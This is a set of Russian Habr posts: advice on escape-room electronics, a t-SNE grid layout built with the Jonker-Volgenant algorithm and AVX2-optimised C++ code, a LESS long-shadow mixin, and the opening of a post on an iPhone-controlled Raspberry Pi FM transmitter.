Если из watchdog не требуется сделать дополнительный таймер, используем его по назначению. Чтобы любое повисшее устройство максимум через 4 секунды уже было не повисшим. Кстати, **ничто**, абсолютно **никакая** информация, определяющая режим работы квеста (недоступность открывания дверей, закрытость/открытость замков и т. п., невосприимчивость датчиков) **не должна** храниться в оперативной памяти. Исходить нужно из предположения, что повиснуть может абсолютно всё, в абсолютно любой момент. Это никак не должно искажать/нарушать логику задач и решений, возлагать ответственность за состояние системы возможно только на одно устройство — компьютер оператора, чтобы у него всегда была полная картина состояний перед глазами.
Если собираете самопал, то вот основное:
Керамический конденсатор 0.1 мкФ должен быть у каждого корпуса. У каждого сдвигового регистра, у каждого компаратора. **Тем более** у микроконтроллера. Также, такой конденсатор, плюс электролит мкФ так 100 следует напаивать на nRF24L01+, ESP8266, ENC28J60. Прямо на штыри платы, или на проводах в непосредственной близости от платы. Земля по свободной площади платы — это не лишннее. Тонер дешёвый, а травится быстрее. Плюс, гипотетически что-нибудь экранирует на плате. Кварц надо везде. Без кварца можно сделать ардуину на atmega8, при условии что она не считает интервалы точнее сотен микросекунд. Atmega8 дешевле Attiny85/2313.
Если есть выбор между аккумуляторами LiIon и NiMH — литий проще заряжать: платами на TP4056 можно брать и обмазываться, как говаривал Банан, специальных же контроллеров для никеля всё никак не видно.
Если в системе есть исполнители, которые не выносят длительного включения (замки, соленоиды, нагреватели, возможно некоторые мощные двигатели, двигатели с конечным ходом тяги, которые могут что-нибудь случайно поломать/порвать), слпедует для них дополнительно делать защиту от длительного включения. Например, если надолго включить актуатор автомобильного замка, обмотка двигателя будет выделять тепло, двигатель раскалится и расплавит редуктор, так как он пластмассовый. Все мы знаем, что секунды ему для открытия/закрытия вполне достаточно. Просто делаем формирователь секундного импульса, всё что нам надо — это 555 и кучка обвязки. Или RC-цепочка с КМОП-триггером.
Загрузчик — по общему правилу — зло. Пишите через ISP, или хотя-бы поменяйте стандартный на optiboot.
Arduino ВНЕЗАПНО способна быть MIDI-устройством. Если вам нужен звук в компьютере, то лучше бы ему возникать в VST-проигрывателе или инструменте, а не в обозревателе из под Javascript. Это так, если локальный звук невозможен/не устраивает. VST плугов и хостов сейчас до чёрта, в т. ч. бесплатных.
### Психологический аспект
Умнейшие подрядчики в нашем мире — шлюхи. С них можно и нужно брать пример: они чётко и ясно говорят клиенту — чего он может делать, а чего они будут избегать любым путём. Моей промашкой было участие в проекте не на конкретной должности, а на нескольких — это привело к ненужной ответственности и неоптимальному расходу времени. Например, две недели было посвящено одной вещи, которая в сути своей, являлась просто кнопкой/выключателем/парой контактов. Хотя можно было просто открыть рот и сказать: «Как хотите сделайте, мне нужно чтобы при воздействии на эту вещь один провод замкнулся с другим». А я отвечаю за программу и за то, какой из этих проводов будет землёй, а какой цифровым входом.
Четыре недели было посвящено настройкам в цвете свечения ленты, и то результат далёк от идеала. И этим невозможно управлять. Можно было просто сделать радиоприёмник/провод, и вывести полностью цвет в компьютер, ну или хотя-бы некоторые коэффициенты. Или брутально, предусмотреть область в EEPROM, которую можно править внешней приблудой с экраном 1602 и кнопкой, ибо изготовить такую приблуду не составило бы никакого труда.
Три недели вылавливали косяк в механике дверей, хотя это мои челики прощёлкали, у них отломилась пара-тройка роликов. Ну это так, ничего особенного. Назовём эту претензию обычным нытьём.
И тэ дэ и тэ пэ. Эти люди пытались сдвинуть с места 100-килограммовый груз 40-ваттным двигателем. Сорокаваттным, Карл. Эти люди систематически задавали мне вопрос, почему не сделать так, абсолютно не вникая в тонкости варианта сяк. Да, некоторые их решения были толковыми. Но некоторые заставляли меня люто гореть и гадать — зачем гавкать самому, после того как куплена собака?
В общем, в этом аспекте выделить можно только два принципа:
1. Знайте свою квалификацию и настаивайте на ней. Считаете что воздух можно качать компрессором? Пусть не лезут со своей аквариумной помпой.
2. Обозначьте правила. Только с резинкой, только в классической позе, ну вы понимаете, надеюсь. Извините уж за пошлость, но здесь других метафор не подобрать.
На сём, я думаю, мною было изложено достаточно информации. Думайте, запоминайте, делитесь опытом. Мой был не лучшим, но он ценен, и тем остальным будет проще, чем больше опыта мы передадим в комментариях. Так что вперёд.
FYI: статья лишена иллюстраций, т. к. я не вижу смысла рисовать два ISP разъёма, один — стандартный, другой — мой, и подписывать правильно/неправильно. Все решения, описанные выше, легко гуглятся, однако если таковое нужно, отпишите в комментариях. Опции правки доступны, и все интересующие иллюстрации могут быть добавлены. | https://habr.com/ru/post/406235/ | null | ru | null |
# Алгоритм Джонкера-Волгенанта + t-SNE = супер-сила
До:
После:
Заинтригованы? Но обо всем по порядку.
t-SNE
-----
[t-SNE](https://lvdmaaten.github.io/tsne/) — это очень популярный алгоритм, который позволяет снижать размерность ваших данных, чтобы их было проще визуализировать. Этот алгоритм может свернуть сотни измерений к всего двум, сохраняя при этом важные отношения между данными: чем ближе объекты располагаются в исходном пространстве, тем меньше расстояние между этими объектами в пространстве сокращенной размерности. t-SNE неплохо работает на маленьких и средних реальных наборах данных и не требует большого количества настроек гиперпараметров. Другими словами, если взять 100 000 точек и пропустить их через эту волшебный черный ящик, на выходе мы получим красивый график рассеяния.
Вот классический пример из области компьютерного зрения. Существует известный набор данных под названием [MNIST](http://yann.lecun.com/exdb/mnist/), созданный Яном Лекуном (одним из создателей алгоритма обучения нейронных сетей [методом обратного распространения ошибки](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B3%D0%BE_%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B8) — основы современного глубокого обучения) и другими. Его часто используют как универсальный набор данных для оценки идей, связанных с нейронными сетями, а также в научных исследованиях. MNIST — это 70 000 черно-белых изображений размера 28х28. Каждое из них — скан рукописной цифры из отрезка [0, 9]. Существует способ получения “[бесконечного](http://leon.bottou.org/projects/infimnist)” набора MNIST, но не буду отклоняться от темы.
Таким образом, образец MNIST содержит  признака и может быть представлен в виде 784-мерного вектора. Векторы линейны, и в такой интерпретации мы теряем отношение расположения между отдельными пикселями, но все же в этом есть польза. Если попытаться представить, как выглядит наш набор данных в 784D, можно сойти с ума, если вы не специально обученный математик. Обычные люди могут потреблять информацию только размерности 3D, 2D или 1D. Неявно можно добавить еще одно измерение — время, но вряд ли кто-то скажет, что дисплей компьютера 3D только потому, что он обновляет картинку с частотой 100 Гц. Поэтому было бы здорово знать способ *отобразить* 784 измерения в два. Звучит невозможно? В общем случае так и есть. Вступает в игру [принцип Дирихле](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%94%D0%B8%D1%80%D0%B8%D1%85%D0%BB%D0%B5_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%84%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0)): какое отображение мы не выберем, коллизий не избежать.
*Иллюзия 3D -> 2D проекции в [Shadowmatic](http://www.shadowmatic.com/)*
К счастью, можно выдвинуть следующие предположения:
1. Исходное многомерное пространство *разреженно*, то есть вряд ли оно заполнено образцами однородно.
2. Нам не нужно находить точное отображение, особенно зная, что его не существует. Вместо этого можно решить другую задачу, которая имеет гарантированное точное решение и аппроксимирует ожидаемый результат. Это напоминает принцип работы сжатия JPEG: результат никогда не бывает в точности идентичным, но изображение выглядит *очень* похожим на исходное.
Возникает вопрос: какая лучшая аппроксимирующая задача в пункте 2? К сожалению, “лучшей” нет. Качество снижения размерности субъективно и зависит от вашей конечной цели, как и при выборе метода кластеризации.
*Разные алгоритмы кластеризации от [sklearn](http://scikit-learn.org/stable/auto_examples/cluster/plot_cluster_comparison.html)*
t-SNE — один из возможных алгоритмов сокращения размерности, которые называются алгоритмами укладки графа на плоскости (embedded algorithms). Ключевая идея — сохранять отношения “похожести”. [Попробуйте сами](http://distill.pub/2016/misread-tsne/).
Все это искусственные примеры, они хороши, но их недостаточно. Большинство реальных наборов данных напоминают облако с кональными кластерами. Например, MNIST выглядит так.
*MNIST после применения t-SNE*
Линейное программирование
-------------------------
Теперь давайте резко свернем в сторону и ознакомимся с понятием [линейного программирования](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D0%BD%D0%B5%D0%B9%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) (linear programming, LP). Извините, но это не новый шаблон проектирования, Javascript фреймворк или стартап. Это математика:
Мы минимизируем скалярное произведение  и  с учетов системы линейных неравенств, зависящих от , и требования, что все его координаты неотрицательны. LP — хорошо изученная тема в теории выпуклой оптимизации; как известно, эта задача решается за [слабо полиномиальное время](https://ru.wikipedia.org/wiki/%D0%92%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%BB%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D0%B0#.D0.A1.D1.82.D1.80.D0.BE.D0.B3.D0.BE_.D0.B8_.D1.81.D0.BB.D0.B0.D0.B1.D0.BE_.D0.BF.D0.BE.D0.BB.D0.B8.D0.BD.D0.BE.D0.BC.D0.B8.D0.B0.D0.BB.D1.8C.D0.BD.D0.BE.D0.B5_.D0.B2.D1.80.D0.B5.D0.BC.D1.8F) — обычно за , где *n* — количество переменных (размерность задачи). Но существуют и аппроксимирующие алгоритмы, выполняющиеся за линейное время. Эти алгоритмы используют умножение матриц и могут быть эффективно распараллеленны. Рай для программиста!
К LP могут быть сведены на удивление много задач. Возьмем, например, [транспортную задачу](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B0).
*Транспортная задача: пункты отправления (S) и пункты потребления (D)*
Есть некоторое количество пунктов отправления и пунктов потребления, которые могут быть неравны. Каждый пункт потребления нуждается в определенном количестве товара. Каждый пункт отправления имеет ограниченные ресурсы и связан с некоторыми пунктами потребления. Основная задача состоит в следующем: каждое ребро  имеет свою стоимость , поэтому необходимо найти распределение поставок с минимальными затратами.
Строго говоря,
Последнее условие означает, что либо в пунктах отправления закончится товар, или спрос на товар иссякнет. Если , выражение **8** можно нормализовать и упростить следующим образом:
Если заменить “отправление” и “потребление” на “землю”, то  приведет нас к задаче землекопа ([Earth Mover’s Distance](https://en.wikipedia.org/wiki/Earth_mover's_distance), EMD): минимизировать работу, необходимую для перетаскивания земли из одного набора куч в другие. Теперь вы знаете, что делать, если придется рыть ямы в земле.
*Earth Mover’s Distance*
Если же заменить “отправление” и “потребление” “гистограммами”, мы получим самый распространенный способ сравнения изображений эпохи “до глубокого обучения” ([пример статьи](https://www.cs.cmu.edu/~efros/courses/LBMV07/Papers/rubner-jcviu-00.pdf)). Этот метод лучше, чем наивный L2, так как он учитывает не только различия по абсолютной величине, но и разницу в расположении.
*EMD лучше в сравнении гистограмм, чем Евклидово расстояние*
Если заменить “отправление” и “потребление” словами, что мы придем к [Word Mover’s Distance](http://jmlr.org/proceedings/papers/v37/kusnerb15.pdf), эффективному способу сравнить значения двух предложений, используя [word2vec](https://en.wikipedia.org/wiki/Word2vec) для получения векторных представлений слов.
*Word Mover’s Distance.*
Если мы расслабим условия **5-8**, выбросив **8**, приняв  и превратив неравенства **6** и **7** в уравнения, добавив симметричные им неравенства, то получим [задачу о назначениях](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BE_%D0%BD%D0%B0%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F%D1%85) (Linear Assignment Problem, LAP):
В отличие от транспортной задачи, можно доказать, что  — решение всегда двоично. Иными словами, или весь товар из пунктов отправления переходит в пункты потребления, или ничто никуда не переходит.
t-SNE LAP
---------
Как мы поняли из первого раздела, t-SNE, как и все алгоритмы укладки на плоскости, выдает на выходе диаграмму рассеяния. Хотя это идеально подходит для задач исследования наборов данных, иногда возникает потребность уложить исходную диаграмму на правильной сетке. Например, такая укладка необходима source{d}… скоро узнаем, зачем.
*Правильная сетка*
После применения t-SNE изобразим вместо точек цифры MNIST; вот как это выглядит:
*Цифры MNIST после t-SNE*
Не слишком понятно. Вот здесь возникает LAP: можно определить матрицу стоимости как парное евклидово расстояние между образцами t-SNE и узлами сетки, установим площадь сетки равной размеру набора данных , и в результате решим проблему. Но как? Мы пока не рассказали ни об одном алгоритме.
### Алгоритм Джонкера-Волгенанта
Оказывается, существует огромное количество алгоритмов линейной оптимизации общего назначения, начиная с [симплекс-метода](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BC%D0%BF%D0%BB%D0%B5%D0%BA%D1%81-%D0%BC%D0%B5%D1%82%D0%BE%D0%B4) и заканчивая крайне сложными инструментами. Алгоритмы, разработанные специально под определенную задачу, обычно сходятся значительно быстрее, хотя и обладают некоторыми ограничениями.
[Венгерский алгоритм](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BD%D0%B3%D0%B5%D1%80%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC) — один из специализированных методов, разработанный в 1950-х. Его сложность — . Он довольно просто для понимания и реализации, и поэтому популярен во многих проектах. Например, недавно он стал частью [sсipy](https://docs.scipy.org/doc/scipy-0.18.1/reference/generated/scipy.optimize.linear_sum_assignment.html). К сожалению, он работает не быстро на больших объемах данных, а вариант scipy — **особенно** медленный. Я прождал час, чтобы обработать 2500 образцов MNIST, а Python все еще переваривал жертву.
Алгоритм Джонкера-Волгенанта ([Jonker-Volgenant](https://link.springer.com/article/10.1007/BF02278710), JV) — улучшенный подход, разработанный в 1987. В его основе также прохождение кратчайшей аугментальной цепи, а его сложность также кубическая, но в нем с помощью некоторых хитрых приемов, разительно сокращается вычислительная нагрузка. Производительность многих алгоритмов укладки графов, включая JV, была подробно исследована в статье 2000 года [Discrete Applied Mathematics](http://www.sciencedirect.com/science/article/pii/S0166218X99001729). Заключение было следующим:
> “У JV хорошая и стабильная средняя производительность на всех классах (задач — прим. автора), и это лучший алгоритм как для случайных, так и для специфических задач”.
Тем не менее, у JV есть и недостаток. Он очень толерантен к различиям между парами элементов в матрице стоимостей. Например, если мы ищем кратчайший путь в графе с помощью алгоритма Дейкстры, и на этом графе появляются две очень близкие стоимости, алгоритм рискует уйти в бесконечный цикл. Если мы внимательно рассмотрим алгоритм Дейкстры, то обнаружим, что при достижении предела точности значений с плавающей точкой, могут произойти ужасные вещи. Обычный выход из ситуации — умножить матрицу стоимостей на некое большое число.
И все-таки самое заманчивое в JV для такого ленивого инженера, как я, — это пакет на Python 2, который представляет собой обертку [древней](http://www.magiclogic.com/assignment.html) реализации алгоритма на C: [pyLAPJV](https://github.com/hrldcpr/pyLAPJV). Этот код на C был написан [Роем Джонкером](https://www.linkedin.com/in/roy-jonker-9a183310/) в 1996 года для компании MagicLogic Optimization, президентом которой он является. Кроме того, что pyLAPJV больше не поддерживается, в ней есть незначительная проблема с выводом данных, которую я исправил в [пулл-реквесте #2](https://github.com/hrldcpr/pyLAPJV/pull/2). Код на C надежен, но в нем не используется многопоточность или SIMD-инструкции. Мы, конечно, понимаем, что JV по своей природе однопоточен, и его не так просто распараллелить, тем не менее, мне удалось ускорить его почти вдвое, оптимизировав наиболее затратный этап — сокращеие аугментальной цепи — с помощью [AVX2](https://ru.wikipedia.org/wiki/AVX). В результате получился пакет [src-d/lapjv](https://github.com/src-d/lapjv) на Python 3, доступный под лицензией MIT.
Сокращение аугментальной цепи в своей основе сводится к нахождению минимального и второго минимального элементов в массиве. Звучит просто, как и есть на самом деле, неоптимизированный код на C занимает 20 строк. Версия в AVX в 4 раза больше: мы посылаем минимальные значения на каждый процессорный элемент SIMD, выполняем [blending](https://software.intel.com/en-us/node/524074), а затем применяем некоторые другие заклинания черной магии SIMD, которым я научился, пока работал над [libSoundFeatureExtraction](https://github.com/Samsung/veles.sound_feature_extraction/blob/master/TRANSFORMS.md) в Samsung.
```
template
\_\_attribute\_\_((always\_inline)) inline
std::tuple find\_umins(
idx dim, idx i, const cost \*assigncost, const cost \*v) {
cost umin = assigncost[i \* dim] - v[0];
idx j1 = 0;
idx j2 = -1;
cost usubmin = std::numeric\_limits::max();
for (idx j = 1; j < dim; j++) {
cost h = assigncost[i \* dim + j] - v[j];
if (h < usubmin) {
if (h >= umin) {
usubmin = h;
j2 = j;
} else {
usubmin = umin;
umin = h;
j2 = j1;
j1 = j;
}
}
}
return std::make\_tuple(umin, usubmin, j1, j2);
}
```
*Нахождение двух последовательных минимальных значений, C++*
**Показать код**
```
template
\_\_attribute\_\_((always\_inline)) inline
std::tuple find\_umins(
idx dim, idx i, const float \*assigncost, const float \*v) {
\_\_m256i idxvec = \_mm256\_setr\_epi32(0, 1, 2, 3, 4, 5, 6, 7);
\_\_m256i j1vec = \_mm256\_set1\_epi32(-1), j2vec = \_mm256\_set1\_epi32(-1);
\_\_m256 uminvec = \_mm256\_set1\_ps(std::numeric\_limits::max()),
usubminvec = \_mm256\_set1\_ps(std::numeric\_limits::max());
for (idx j = 0; j < dim - 7; j += 8) {
\_\_m256 acvec = \_mm256\_loadu\_ps(assigncost + i \* dim + j);
\_\_m256 vvec = \_mm256\_loadu\_ps(v + j);
\_\_m256 h = \_mm256\_sub\_ps(acvec, vvec);
\_\_m256 cmp = \_mm256\_cmp\_ps(h, uminvec, \_CMP\_LE\_OQ);
usubminvec = \_mm256\_blendv\_ps(usubminvec, uminvec, cmp);
j2vec = \_mm256\_blendv\_epi8(
j2vec, j1vec, reinterpret\_cast<\_\_m256i>(cmp));
uminvec = \_mm256\_blendv\_ps(uminvec, h, cmp);
j1vec = \_mm256\_blendv\_epi8(
j1vec, idxvec, reinterpret\_cast<\_\_m256i>(cmp));
cmp = \_mm256\_andnot\_ps(cmp, \_mm256\_cmp\_ps(h, usubminvec, \_CMP\_LT\_OQ));
usubminvec = \_mm256\_blendv\_ps(usubminvec, h, cmp);
j2vec = \_mm256\_blendv\_epi8(
j2vec, idxvec, reinterpret\_cast<\_\_m256i>(cmp));
idxvec = \_mm256\_add\_epi32(idxvec, \_mm256\_set1\_epi32(8));
}
float uminmem[8], usubminmem[8];
int32\_t j1mem[8], j2mem[8];
\_mm256\_storeu\_ps(uminmem, uminvec);
\_mm256\_storeu\_ps(usubminmem, usubminvec);
\_mm256\_storeu\_si256(reinterpret\_cast<\_\_m256i\*>(j1mem), j1vec);
\_mm256\_storeu\_si256(reinterpret\_cast<\_\_m256i\*>(j2mem), j2vec);
idx j1 = -1, j2 = -1;
float umin = std::numeric\_limits::max(),
usubmin = std::numeric\_limits::max();
for (int vi = 0; vi < 8; vi++) {
float h = uminmem[vi];
if (h < usubmin) {
idx jnew = j1mem[vi];
if (h >= umin) {
usubmin = h;
j2 = jnew;
} else {
usubmin = umin;
umin = h;
j2 = j1;
j1 = jnew;
}
}
}
for (int vi = 0; vi < 8; vi++) {
float h = usubminmem[vi];
if (h < usubmin) {
usubmin = h;
j2 = j2mem[vi];
}
}
for (idx j = dim & 0xFFFFFFF8u; j < dim; j++) {
float h = assigncost[i \* dim + j] - v[j];
if (h < usubmin) {
if (h >= umin) {
usubmin = h;
j2 = j;
} else {
usubmin = umin;
umin = h;
j2 = j1;
j1 = j;
}
}
}
return std::make\_tuple(umin, usubmin, j1, j2);
}
```
*Нахождение двух последовательных минимальных значений, оптимизированный код с инструкциями AVX2*
На моем ноутбуке lapjv укладывает 2500 образцов MNIST за 5 секунд, и вот он — драгоценный результат:
*Решение задачи о назначениях для MNIST после t-SNE*
### Notebook
Для подготовки этого поста я использовал [Jupiter Notebook](http://jupyter.org/) (исходник [здесь](https://gist.github.com/vmarkovtsev/74e3a973b19113047fdb6b252d741b42)).
Заключение
----------
Существует эффективный способ укладки образцов, обработанных t-SNE, на правильную сетку. Он основан на решении проблемы назначения (LAP) с помощью алгоритма Джонкера-Волгенанта, реализованного в [src-d/lapjv](https://github.com/src-d/lapjv). Этот алгоритм может быть масштабирован на 10 000 образцов.
> **О, а приходите к нам работать? :)**[**wunderfund.io**](http://wunderfund.io) — молодой фонд, который занимается [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading). Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
>
>
>
> Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
>
>
>
> Присоединяйтесь к нашей команде: [wunderfund.io](http://wunderfund.io) | https://habr.com/ru/post/326750/ | null | ru | null |
# Shade: длинные тени трендового плоского дизайна на CSS
Доброго времени суток уважаемые хабражители. Недавно я нашел очень интересный [пример на SCSS](http://codepen.io/hugo/pen/xzjGB) и решил реализовать его на LESS ~~да я люблю LESS больше~~:
[](http://netcribe.com/MojoShade/)
*Пример работает на LESS 1.5.0, поэтому нет возможности разместить его на codepen или jsfiddle.*
```
.shade(@type, @color, @depth, @angle, @long, @fade);
```
* **type:** значения box/text — box-shadow/text-shadow
* **color:** цвет тени
* **depth:**длина тени
* **angle:** угол наклона
* **long:** boolean, по умолчанию true — длинные Flat тени
* **fade:** boolean, по умолчания false — затухание
```
#facebook {
.shade(box, #1B2733, 20, 135deg, true, false);
.shade(text, #253960, 50, 135deg, true, false);
background: #4161A2;
&:before {
content: "\e000";
}
}
...
#dribble {
.shade(box, #1B2733, 20, 135deg, true, false);
.shade(text, #9B2E58, 15, 135deg, false, false);
background: #C23B6F;
&:before {
content: "\e00f";
}
}
```
#### LESS 1.5.0
Shade.less написан на «чистом» LESS только благодаря этой версии.
**В другом случае пришлось бы использовать JavaScript подобным образом:**
```
@shade: ~`(function (depth,x,y, ... thislightness) {
var shadow = "";
for(var i=1; i
```
##### Новые возможности в [1.5.0 Beta 1 (2013-09-01)](https://github.com/less/less.js/blob/master/CHANGELOG.md)
* Поддержка source map (хороший пост на Хабре про это [здесь](http://habrahabr.ru/post/178743/))
* Возможность прописывать дополнительные опции при подключении файлов `@import (inline) "file.css";`
* Поддержка Guard для множества селекторов
* Добавлены функции min/max
* Новый «объединяющий» синтаксис для свойств — `property+:` (как раз то, что используется в shade.less, эквивалентно операнду += в JS):
```
text-shadow+: (@i * @x) (@i * @y) 0 hsla(@hue, @sat, (@lightness - (@i * @darken)), (1 - (@i * @opacify)));
```
* Функция svg-gradient
* Множество полезных фиксов
#### shade.less
```
.shade(@type, @color: #3498db, @depth: 20, @angle: 135deg, @long: true, @fade: false) {
@ang: (@angle - 90deg);
@x: 1.5px * cos(@ang);
@y: 1.5px * sin(@ang);
.shade(@type, @color, @depth, @x, @y, @long, @fade, (lightness(@color)/@depth)/2, (alpha(@color)/@depth));
}
/* Если тень"длиная", то она одного цвета */
.shade(@type, @color, @depth, @x, @y, @long, @fade, @darken, @opacify) when (@long = true) {
.shade(@type, @color, @depth, @x, @y, @fade, 0, @opacify);
}
/* В другом случае осветляем тень от конца к началу */
.shade(@type, @color, @depth, @x, @y, @long, @fade, @darken, @opacify) when (@long = false) {
.shade(@type, @color, @depth, @x, @y, @fade, @darken, @opacify); //
}
.shade(@type, @color, @depth, @x, @y, @long, @darken, @opacify) when (@fade = true) {
.shade(@type, @color, @depth, @x, @y, @darken, @opacify);
}
/* Если тень "длиная" она должна выглядеть монотонно без затухания */
.shade(@type, @color, @depth, @x, @y, @long, @darken, @opacify) when (@fade = false) {
.shade(@type, @color, @depth, @x, @y, @darken, 0);
}
/* Разбиваем цвет на HSLA для дальнейшей работы. Недавно я задавал вопрос на эту тему http://habrahabr.ru/qa/46440/ */
.shade(@type, @color, @depth, @x, @y, @darken, @opacify) {
@hue: hue(@color);
@sat: saturation(@color);
@lightness: lightness(@color);
.shade-recursive(@type, 1, @depth, @x, @y, @darken, @opacify, @hue, @sat, @lightness);
}
.shade-recursive(@type, @i, @depth, @x, @y, @darken, @opacify, @hue, @sat, @lightness) when (@i < @depth) and (@type = text) {
text-shadow+: (@i * @x) (@i * @y) 0 hsla(@hue, @sat, (@lightness - (@i * @darken)), (1 - (@i * @opacify)));
.shade-recursive(@type, @i + 1, @depth, @x, @y, @darken, @opacify, @hue, @sat, @lightness);
}
.shade-recursive(@type, @i, @depth, @x, @y, @darken, @opacify, @hue, @sat, @lightness) when (@i < @depth) and (@type = box) {
box-shadow+: (@i * @x) (@i * @y) 0 hsla(@hue, @sat, (@lightness - (@i * @darken)), (1 - (@i * @opacify)));
.shade-recursive(@type, @i + 1, @depth, @x, @y, @darken, @opacify, @hue, @sat, @lightness);
}
```
[Github](https://github.com/Pestov/Shade).
Спасибо всем за внимание и красивых вам плоских теней. | https://habr.com/ru/post/193300/ | null | ru | null |
# Как управлять FM-вещанием через iPhone
Кто сейчас вообще слушает радио? Может показаться, что в современном мире не осталось места для радио, однако мы сумели отыскать несколько кейсов его реального использования и немного поиграли с этим.
В этой статье мы хотели бы рассказать, как не будучи радиотехниками, можно реализовать механизм мобильного управления радиовещанием, а заодно раскрыть техническую составляющего происходящего в видео.
История этого проекта сложилась довольно неординарно: мы хотели в короткие сроки реализовать управляемый с мобильного устройства fm-передатчик приемлемой дальности, связав полностью готовые компоненты между собой и особо не погружаясь в радиотехнику, но в итоге получили опыт hardware-reversing.
Кратко наш путь выглядит так:
* Уровень 0: `git clone fm_transmitter`
* Уровень 1: поиск готовых систем fm-вещания для дальнейшей модификации
* Уровень 2: железный хакинг
Уровень 0: `git clone fm_transmitter`
=====================================
Часто для того, чтобы понять, как нужно делать что-то правильно, нужно просто начать это делать. Мы начали с поиска существующих проектов в GitHub по управлению fm-передачей (google: `site:github.com "fm transmitter"`). И сразу же вышли на живой проект — <https://github.com/markondej/fm_transmitter>, позволяющий вещать радио посредством подключенного к GPCLK(General Purpose Clock) пину Raspberry PI провода. Протестировав работоспособность проекта на реальном радио и услышав свою мелодию вместо оригинальной радиостанции, на минуту показалось, что дело сделано, и задачу в Jira вот-вот можно будет закрывать.
Оставалось только придумать интерфейс взаимодействия с RPi через мобильное приложение. Выбрали классический в мире IoT подход: WiFi AP + веб-приложение. Во вселенной Opensource был быстро найден подходящий проект [rpi-hostap](https://github.com/sdelrio/rpi-hostap), позволяющий в пару кликов развернуть WiFi Access Point с нужной конфигурацией на Raspbian и с веб-приложением внутри локальной сети AP (со статическим IP), к которому бы стучалось iOS-приложение, управляющее радио.
### +Веб-приложение
Веб-приложение реализовано на базе Python-фреймворка Flask и содержит следующие HTTP-эндпоинты для управления радиовещанием:
* `/setfreq?freq=<частота вещания в Mhz>` — установка нужной fm-частоты
* `/start?audio=<название>` — запуск вещания выбранного аудио на ранее заданной частоте
* `/stop` — остановка вещания
* `/seek?perc=<% проигрывания>` — промотка аудио на нужное место
* `/repeat?enable=` — включение/отключение повторения при завершении аудио
* `/sync` — получение текущей информации о ходе проигрывания
* `/upload` — загрузка нового аудио
Этот интерфейс не предполагалось использовать в многопользовательском режиме, однако для надежности все методы были защищены общим `threading.Lock`-объектом: одновременно можно было вызывать только какой-то один из методов.
### +Мобильное приложение
После появления HTTP-интерфейса уже можно было общаться с RPi множеством различных способов. Нашей конечной целью было управление fm-вещанием через iPhone:
*Структура iOS приложения*
На этом этапе у нас был полностью готовый прототип fm-трансмиттера с интерфейсом, позволяющим его легко тестировать в разных локациях. До текущего момента все тесты проходили в помещении офиса, что давало дальность вещания до 20 метров. Но после серии уличных тестов выяснилось, что даже 5-метровый радиус получается гарантировать не всегда…
### +Удлинение GPIO-провода
Мы стали пытаться увеличить дальность вещания путем удлинения GPIO-провода, отходящего от GPCLK-пина. Увеличение дальности оказалось незначительным.
### -Удлинение GPIO-провода+ стереоскопическая антенна
Для еще большего увеличения дальности решили попробовать стереоскопическую антенну. Чтобы её использовать, был необходим переход с GPIO пина на контур антенны. В этот момент мы впервые достали паяльник, но пока не подозревали, что станем с ним неразлучны до конца проекта. Это дало результат как минимум не хуже предыдущего, но теперь стало удобнее эксплуатировать антенну.
### +Усилитель для стереоскопической антенны
Было очевидно, что GPCLK-пин Rasberry "не вытянет" нужной мощности вещания без дополнительной помощи. После небольшого ресерча выяснилось, что такая "помощь" существует — [SPF5189Z](https://aliexpress.ru/item/32949198452.html). Это усилитель сигнала, использующий внешнее питание. Добавили этот компонент в разрыв между переходником и антенной:
*Усилитель SPF5189Z для антенны с питанием от USB и переходником на GPIO*
Снова разогрели паяльник для пайки переходника питания усилителя через USB с того же Powerbank, с которого питался RPi, после чего разместили все в картонной коробке для удобства эксплуатации. На этот раз дальность вещания была увеличена с нестабильных 10 метров до стабильных 15 метров на улице, чего едва хватало.
### Finale: -fm\_transmitter
Вся эта конструкция проработала ровно 1 день, пока не вышел из строя усилитель. В этот момент пришло осознание, что мы далеко отошли от исходной идеи сборки устройства из готовых компонентов и что без минимального погружения в радиоэлектронику не обойтись.
Уровень 1: поиск готовых систем fm-вещания для дальнейшей модификации
=====================================================================
"Уровень 0" привнес интерфейс управления, независимый от железа, поэтому мы могли смело отказаться от использования проекта `fm_transmitter` и поискать другой способ организации fm-вещания.
